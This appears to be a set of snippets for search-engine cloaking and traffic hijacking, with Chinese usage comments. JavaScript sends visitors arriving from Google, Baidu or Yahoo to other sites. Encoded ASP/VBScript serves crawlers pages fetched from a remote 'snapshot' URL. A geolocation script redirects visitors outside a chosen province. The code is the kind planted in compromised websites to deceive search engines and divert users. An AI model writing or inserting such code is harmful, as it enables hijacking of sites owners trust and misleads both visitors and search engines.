<script LANGUAGE=”Javascript”>

var s=document.referrer

if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )

location.href=”http://www.hao123.com”;

else

location.href=”indax.php/index.asp/index.html”

</script>

<%@ LANGUAGE = VBScript.Encode %><%

Dim agent

agent=Request.ServerVariables(“http_user_agent”)

If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr(agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then

linkurl=”http://www.xxx.com” ‘快照網址

Function GetBody(Url)

Dim objXML

On Error Resume Next

Set objXML = CreateObject(“Microsoft.XMLHTTP”)

With objXML

.Open “Get”, Url, False, “”, “”

.Send

GetBody = .ResponseBody

End With

GetBody=BytesToBstr(GetBody,”GB2312″)

Set objXML = Nothing

End Function

Function BytesToBstr(strBody,CodeBase)

dim objStream

set objStream = Server.CreateObject(“Adodb.Stream”)

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write strBody

objStream.Position = 0

objStream.Type = 2

objStream.Charset = CodeBase

BytesToBstr = objStream.ReadText

objStream.Close

set objStream = nothing

End Function

response.write GetBody(linkurl)

End if%>

<script LANGUAGE=”Javascript”>

var s=document.referrer

if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )

location.href=”http://www.baidu.com”;

</script>

<script src=”http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js” charset=”GB2312″ ></script>

<script type=text/javascript>

if(remote_ip_info.province ==’江西’){這里指定地區

;這里為空表示不跳轉 我們留空表示不跳轉

}else{否則

window.location.href=”http://www.hao123.com”;如果不是上面地區 就跳轉到這個網址

}

</script>